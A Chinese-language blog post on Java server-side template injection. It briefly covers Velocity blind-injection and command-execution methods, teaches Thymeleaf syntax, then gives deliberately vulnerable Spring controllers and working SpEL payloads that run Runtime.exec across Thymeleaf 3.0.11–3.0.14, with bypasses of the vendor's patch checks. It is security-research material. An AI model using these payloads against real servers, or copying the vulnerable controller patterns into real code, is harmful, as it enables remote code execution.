boolen布尔盲注,在完全无回显且无错误泄露时,通过响应时间或状态码差异进行逐位探测。

  • test_bool_true/false: 利用 #if 条件判断 + #include("Y:/A:/xxx") 触发错误,根据回显差异判断
  • verify_bool_*: 用 1.0.equals(0.1/1.0) 测试浮点比较是否可靠(避免整数优化干扰)。

execute 有回显命令执行

  • 使用 Java 反射调用 Runtime.getRuntime().exec()
  • 命令被 base64 编码,并通过 tr '+/' '_-' 转换为 URL-safe 字符(避免模板解析问题)。
  • 执行 bash -c 'eval $(echo ... | base64 -d)' 解码并运行。
  • 读取 InputStream 逐字符拼接输出(因 Velocity 不支持直接 toString 流)。
  • 最终 ${output} 回显结果。

execute_error 通过报错回显

execute_boolean 命令执行布尔盲注(基于退出码判断0执行成功/非0执行失败)

execute_blind 延时盲注,通过响应时间判断命令执行结果

write 写文件

Thymeleaf

https://www.thymeleaf.org/

demo

pom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.0</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>org.example</groupId>
<artifactId>ssti</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>ssti</name>
<description>ssti</description>
<url/>
<licenses>
<license/>
</licenses>
<developers>
<developer/>
</developers>
<scm>
<connection/>
<developerConnection/>
<tag/>
<url/>
</scm>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>


</dependencies>

<!-- <build>-->
<!-- <plugins>-->
<!-- <plugin>-->
<!-- <groupId>org.springframework.boot</groupId>-->
<!-- <artifactId>spring-boot-maven-plugin</artifactId>-->
<!-- </plugin>-->
<!-- </plugins>-->
<!-- </build>-->

</project>

index.html

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Thymeleaf Demo</title>
</head>
<body>
<h1 th:text="${message}">Default message</h1>
<p>This is a Thymeleaf template.</p>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example.ssti.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.ui.Model;



@Controller
public class helloController {
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "Hello from Thymeleaf!");
return "index"; // 对应 templates/index.html
}
}

语法和指令

表达式

变量表达式 ${...} 访问上下文变量(如 Model 中的数据)
选择表达式 *{...} 针对已选定对象(通常配合 th:object
消息表达式 #{...} 国际化消息(i18n)
链接表达式 @{...} 构建 URL(支持参数、协议、相对路径等)
片段表达式 ~{...} 引用模板片段(用于 th:insert, th:replace
  1. 变量表达式 ${...}

用于访问上下文中的变量(如 Controller 传入的 Model 数据)。

1
2
3
4
5
6
7
8
<!-- 假设 model.addAttribute("user", user); -->
<p th:text="${user.name}">John Doe</p>
<p th:text="${user.email}">john@example.com</p>

<!-- 访问列表 -->
<ul>
<li th:each="item : ${items}" th:text="${item}">Item</li>
</ul>
  1. 选择表达式*{...}

用于在已通过 th:object 指定的对象上进行属性访问(相当于“当前对象”的快捷方式)。

1
2
3
4
5
6
7
<div th:object="${user}">
<p th:text="*{name}">Name</p> <!-- 等价于 ${user.name} -->
<p th:text="*{email}">Email</p> <!-- 等价于 ${user.email} -->
<input type="text" th:field="*{age}" /> <!-- 常用于表单绑定 -->
</div>

//注意:*{...} 必须在 th:object 作用域内使用,否则会报错。
  1. 消息表达式#{...}

用于国际化(i18n),从 message properties 文件中读取对应语言的消息

1
2
3
4
5
<!-- messages.properties: welcome.message=Hello, {0}! -->
<span th:text="#{welcome.message(${user.name})}">Welcome!</span>

<!-- 无参数 -->
<h1 th:text="#{page.title}">Home</h1>
  1. 链接表达式@{...}

用于构建 URL,支持相对/绝对路径、参数、协议等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- 基本 URL -->
<a th:href="@{/home}">Home</a>

<!-- 带参数 -->
<a th:href="@{/user/profile(id=${userId}, tab='info')}">Profile</a>

<!-- 相对路径(相对于当前页面) -->
<a th:href="@{profile.html}">My Profile</a>

<!-- 绝对 URL(带协议) -->
<a th:href="@{https://example.com/api(data=${token})}">External API</a>

<!-- 表单提交 -->
<form th:action="@{/submit}" method="post">
...
</form>
  1. 片段表达式~{...}

用于引用模板片段,常与 th:insertth:replaceth:include(已弃用)配合使用。

1
2
3
4
5
6
7
8
9
10
11
12
<!-- 定义片段 (footer.html) -->
<footer th:fragment="siteFooter">
&copy; 2025 My Site
</footer>

<!-- 引用片段 -->
<div th:insert="~{footer :: siteFooter}"></div>
<!-- 或简写(Thymeleaf 3+ 支持省略 ~{}) -->
<div th:replace="footer :: siteFooter"></div>

<!-- 传递参数给片段 -->
<div th:replace="components :: alert(type='success', message=#{operation.success})"></div>

指令

格式**th:***

  1. th:text

替换元素的文本内容(自动转义 HTML 特殊字符)。

1
<p th:text="${user.name}">Default Name</p>
  1. th:utext(Unescaped Text)

替换元素的文本内容,不转义 HTML(用于渲染富文本)。

1
2
3
4
5
6
7
html

预览



<div th:utext="${article.content}">Raw HTML here</div>
  1. th:attr

动态设置任意 HTML 属性(可一次设置多个)。

1
<img th:attr="src=${imageUrl}, title=${imageTitle}, alt=${imageAlt}" />

更推荐使用专用属性指令(如 th:src),除非需要动态属性名。

这些是 th:attr 的快捷方式,更清晰安全:

指令 作用
th:src 设置 <img>, <script>src
th:href 设置 <a>, <link>href
th:value 设置 <input>, <option>value
th:title 设置 title属性
th:id 设置 id
th:class 设置 class(会覆盖原 class)
th:style 设置 style
th:alt, th:placeholder, th:onclick 几乎所有标准 HTML 属性都支持
1
2
<a th:href="@{/profile(id=${userId})}" th:class="${isActive ? 'active' : 'inactive'}">Profile</a>
<img th:src="@{/images/logo.png}" th:alt="#{logo.alt}" />
  1. th:classappend / th:styleappend

在保留原有 class/style 的基础上追加新值。

1
2
<button class="btn" th:classappend="${error ? 'btn-danger' : 'btn-success'}">Submit</button>
<div style="margin: 10px;" th:styleappend="${darkMode ? 'background: black;' : ''}">Content</div>

  1. th:if

条件为 true 时渲染元素。

1
<div th:if="${user.admin}">Admin Panel</div>
  1. th:unless

条件为 false 时渲染(即 if not)。

1
<p th:unless="${user.subscribed}">Please subscribe!</p>
  1. th:switch / th:case

多分支选择(类似 Java switch)。

1
2
3
4
5
<div th:switch="${user.role}">
<p th:case="'admin'">Administrator</p>
<p th:case="'manager'">Manager</p>
<p th:case="*">Other</p> <!-- 默认情况 -->
</div>

  1. th:each

遍历集合、数组、Map 等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 遍历 List -->
<li th:each="item : ${items}" th:text="${item.name}">Item</li>

<!-- 获取状态对象(index, count, even, first, last...) -->
<tr th:each="user, iterStat : ${users}">
<td th:text="${iterStat.count}">1</td>
<td th:text="${user.name}">Name</td>
<td th:if="${iterStat.last}">Last row!</td>
</tr>

<!-- 遍历 Map -->
<span th:each="entry : ${userSettings}">
<span th:text="${entry.key}">key</span>: <span th:text="${entry.value}">value</span>
</span>

  1. th:insert

插入片段内容到当前标签内部(保留宿主标签)。

1
2
<div th:insert="~{fragments/footer :: copyright}"></div>
<!-- 结果:<div><p>&copy; 2025</p></div> -->
  1. th:replace

用片段完全替换当前标签。

1
2
<footer th:replace="~{fragments/footer :: copyright}"></footer>
<!-- 结果:<p>&copy; 2025</p> (<footer> 被替换了)-->
  1. th:include( 已弃用)

旧版用法,Thymeleaf 3+ 建议用 th:insertth:replace


  1. th:object

指定表单绑定的命令对象(通常为 ModelAttribute)。

1
2
3
4
<form th:object="${userForm}" th:action="@{/register}" method="post">
<input type="text" th:field="*{username}" />
<input type="email" th:field="*{email}" />
</form>
  1. th:field

绑定表单字段到 th:object 指定的对象属性(自动处理 name、value、errors)。

1
2
3
4
5
<input type="text" th:field="*{name}" />
<!-- 等价于:
<input type="text" name="name" value="${userForm.name}"
th:class="${#fields.hasErrors('name')} ? 'error'" />
-->
  1. th:errors

显示字段的验证错误信息。

1
<span th:errors="*{email}" class="error">Email is invalid</span>

  1. th:with

定义局部变量(作用域限于当前元素及其子元素)。

1
2
3
4
<div th:with="fullName=${user.firstName + ' ' + user.lastName}">
<p th:text="${fullName}">Full Name</p>
<p th:text="${#strings.toUpperCase(fullName)}">UPPER</p>
</div>
  1. th:assert

断言,用于调试或确保条件成立(失败时抛异常)。

1
<div th:assert="${not #lists.isEmpty(users)}">Users exist.</div>
  1. th:remove

移除元素(可用于条件移除、占位清理等)。

1
2
3
4
5
6
<!-- 保留内容但移除标签 -->
<span th:remove="tag" th:text="${message}">Message</span>
<!-- 完全移除(包括内容) -->
<div th:remove="all">This won't appear</div>

<!-- 值:all, body, tag, all-but-first, none -->

内联表达式(Inline)

虽然不是 th: 指令,但密切相关:

内联文本 [[...]](等价于 th:text

1
2
<p>Hello, [[${user.name}]]!</p>          <!-- 转义输出 -->
<p>Hello, [(${user.name})]!</p> <!-- 不转义(HTML) -->

需启用内联(默认开启),或显式声明:

1
<p th:inline="text">Hello, [[${name}]]!</p>

内联 JavaScript [(...)](等价于 th:utext,常用于 JS 变量)

1
2
3
4
<script th:inline="javascript">
var userId = /*[[${userId}]]*/ 0;
var messages = /*[[${messages}]]*/ [];
</script>

需开启内联:th:inline="text"th:inline="javascript"

攻击面

thymeleaf的ssti实际上注入的是SpEL表达式(Spring Expression Language)。

代码审计重点:

  • thymeleaf<3.0.14
  • thymeleaf通过return来寻找模板,需要return 参数可控
  • 或者没有return而通过url路径来寻找模板

3.0.11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.example.ssti.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;


@Controller
public class helloController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //直接可控
}
}

//或者
package org.example.ssti.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;


@Controller
public class helloController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "test/"+lang+"/admin" ;
}
}

//在 Thymeleaf 3.0 版本支持片段选择器。如果片段参数可控,则造成 RCE 漏洞。
package org.example.ssti.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;


@Controller
public class helloController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "welcome::"+lang ;
}
}

//或者
package org.example.ssti.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;


@Controller
public class helloController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang+"::welcome" ;
}
}


//不用return,URL 作为视图
package org.example.ssti.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;



@Controller
public class helloController {
@GetMapping("/path/{eval}")
public void path(@PathVariable String eval) {
}
}


1
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::x

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

3.0.12

pom

1
2
3
4
5
6
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.0</version>
<relativePath/>
</parent>

在这个版本中在<font style="color:rgb(51, 51, 51);">util</font>目录添加了<font style="color:rgb(51, 51, 51);">SpringStandardExpressionUtils.java</font>文件

https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.11.RELEASE…thymeleaf-spring5-3.0.12.RELEASE

其主要逻辑是首先 倒序检测是否包含<font style="color:rgb(51, 51, 51);">wen</font>关键字、在<font style="color:rgb(51, 51, 51);">(</font>的左边的字符是否是<font style="color:rgb(51, 51, 51);">T</font>,如包含,那么认为找到了一个实例化对象,返回<font style="color:rgb(51, 51, 51);">true</font>,阻止该表达式的执行

因此绕过这个函数的检测的方法:

1、表达式中不能含有关键字<font style="color:rgb(51, 51, 51);">new</font>
2、在<font style="color:rgb(51, 51, 51);">(</font>的左边的字符不能是<font style="color:rgb(51, 51, 51);">T</font>
3、不能在<font style="color:rgb(51, 51, 51);">T</font><font style="color:rgb(51, 51, 51);">(</font>中间添加的字符使得原表达式出现问题

可以在<font style="color:rgb(51, 51, 51);">T</font>``<font style="color:rgb(51, 51, 51);">(</font>之间使用绕过的字符

  • <font style="color:rgb(51, 51, 51);">%20</font>
  • <font style="color:rgb(51, 51, 51);">%0a</font>
  • <font style="color:rgb(51, 51, 51);">%09</font>
  • <font style="color:rgb(51, 51, 51);">%0d</font>
  • <font style="color:rgb(51, 51, 51);">%00</font>
1
2
3
__${T (java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
//编码后
__%24%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__%3A%3A.x

在用url路径视图的时候

1
2
3
4
5
6
7
8
9
10
11
public class helloController {
@GetMapping("/path/{eval}")
public void path(@PathVariable String eval) {
}
}

//使用payload
/path;/__%24%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__%3A%3A.x

//或者
/path//__%24%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__%3A%3A.x

3.0.13

改动在<font style="color:rgb(77, 77, 77);">SpringStandardExpressionUtils#containsSpELInstantiationOrStatic</font>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static boolean containsSpELInstantiationOrStatic(final String expression) {
final int explen = expression.length();
int n = explen;
int ni = 0;
int si = -1;
char c;
while (n-- != 0) {
c = expression.charAt(n);
if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true;
}
continue;
}
if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
si = -1;
}
continue;
}
ni = 0;
if (c == ')') {
si = n;
} else if (si > n && c == '('
&& ((n - 1 >= 0) && isPreviousStaticMarker(expression, n))) {
return true;
} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}
}
return false;
}
private static boolean isPreviousStaticMarker(final String expression, final int idx) {
char c;
int n = idx;
while (n-- != 0) {
c = expression.charAt(n);
if (c == 'T') {
return (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)));
} else if (!Character.isWhitespace(c)) {
return false;
}
}
return false;
}

对”T”的前一个字符会检测是否满足<font style="color:rgb(77, 77, 77);">Character#isJavaIdentifierPart</font>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.ssti.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;


@Controller
public class helloController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "xxx/"+lang+"/xxx" ;
}
}

payload

1
2
3
4
__%24%7B%00T%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__%3A%3A.x

__%24%7C%7C%7B''.getClass().forName('java.lang.Runtime').getMethod('exec'%2C''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)%2C'calc')%7D__%3A%3A.x

不拼接路径的话会报错

1
2
3
4
5
6
public class helloController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //直接可控
}
}

下面的方式也可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class helloController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "xxx::"+lang ;
}
}


public class helloController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang+"::xxx" ;
}
}



url方式

1
2
3
4
5
6
7
8
public class helloController {
@GetMapping("/path/{eval}")
public void path(@PathVariable String eval) {
}
}

//paylaod
/path;/__%24%7C%7C%7B''.getClass().forName('java.lang.Runtime').getMethod('exec'%2C''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)%2C'calc')%7D__%3A%3A.x

3.0.14

Thymeleaf3.0.14版本的修复,对<font style="color:rgb(68, 68, 68);">containsSpELInstantiationOrStatic()</font>函数检测进行了完善,对<font style="color:rgb(68, 68, 68);">T</font><font style="color:rgb(68, 68, 68);">()</font>中间空字符进行绕过修复

payload

1
__%24%7C%7C%7B''.getClass().forName('java.lang.Runtime').getMethod('exec'%2C''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)%2C'calc')%7D__%3A%3A

url方式

1
2
3
/path;/__%24%7C%7C%7B''.getClass().forName('java.lang.Runtime').getMethod('exec'%2C''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)%2C'calc')%7D__%3A%3A.x

/path;/__%24%7C%7C%7B''.getClass().forName('java.lang.Runtime').getMethod('exec'%2C''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)%2C'calc')%7D__%3A%3A.x

Java SSTI
http://example.com/2025/12/23/Java SSTI/
作者
J_0k3r
发布于
2025年12月23日
许可协议
BY J_0K3R